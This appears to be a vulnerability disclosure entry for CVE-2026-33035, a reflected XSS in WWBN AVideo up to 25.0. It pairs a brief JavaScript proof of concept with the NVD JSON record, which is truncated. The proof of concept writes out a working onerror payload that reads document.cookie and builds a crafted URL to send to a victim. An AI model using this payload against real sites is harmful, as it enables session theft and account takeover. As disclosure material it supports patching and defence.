CVE-2026-33035

/* * PoC for CVE-2026-33035 (WWBN AVideo Reflected XSS) * Description: The vulnerability takes a user input from a URL parameter, * passes it through json_encode(), and renders it via innerHTML in script.js. * This allows execution of arbitrary JavaScript. */ // Step 1: Construct the malicious payload // Using an image tag with onerror is a common bypass for simple reflection points var payload = '<img src=x onerror=alert(document.cookie)>'; // Step 2: The vulnerable endpoint is likely related to video not found handling // Assume the parameter name is 'videoId' based on context var targetUrl = 'http://target-avideo-site.com/videoNotFound.php?videoId=' + encodeURIComponent(payload); // Step 3: Simulate the victim visiting the link // In a real attack scenario, the attacker sends this link to the victim. console.log("Attack URL: " + targetUrl); // When the victim loads the URL, the PHP backend processes the input. // The JavaScript frontend receives the JSON string and renders it via innerHTML. // The browser executes the alert, demonstrating the XSS.

{"cve": {"id": "CVE-2026-33035", "sourceIdentifier": "[email protected]", "published": "2026-03-20T05:16:16.103", "lastModified": "2026-03-24T16:30:45.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 25.0 and below, there is a reflected XSS vulnerability that allows unauthenticated attackers to execute arbitrary JavaScript in a victim's browser. User input from a URL parameter flows through PHP's json_encode() into a JavaScript function that renders it via innerHTML, bypassing encoding and achieving full script execution. The vulnerability is caused by two issues working together: unescaped user input passed to JavaScript (videoNotFound.php), and innerHTML rendering HTML tags as executable DOM (script.js). The attack can be escalated to steal session cookies, take over accounts, phish credentials via injected login forms, spread self-propagating payloads, and compromise admin accounts — all by exploiting the lack of proper input sanitization and cookie security (e.g., missing HttpOnly flag on PHPSESSID). The issue has been fixed in version 26.0."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En las versiones 25.0 e inferiores, existe una vulnerabilidad de XSS reflejado que permite a atacantes no autenticados ejecutar JavaScript arbitrario en el navegador de una víctima. La entrada del usuario de un parámetro de URL fluye a través de json_encode() de PHP hacia una función de JavaScript que lo renderiza mediante innerHTML, omitiendo la codificación y logrando la ejecución completa del script. La vulnerabilidad es causada por dos problemas que trabajan juntos: entrada de usuario sin escapar pasada a JavaScript (videoNotFound.php), y innerHTML renderizando etiquetas HTML como DOM ejecutable (script.js). El ataque puede escalarse para robar cookies de sesión, tomar el control de cuentas, suplantar credenciales mediante formularios de inicio de sesión inyectados, propagar cargas útiles auto-propagantes y comprometer cuentas de administrador — todo explotando la falta de sanitización adecuada de la entrada y la seguridad de las cookies (p. ej., la ausencia de la bandera HttpOnly en PHPSESSID). El problema ha sido solucionado en la versión 26.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/cca6196f4072cb9acc39b1030fb8fb1702b4f69b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wfq5-q ... (truncated)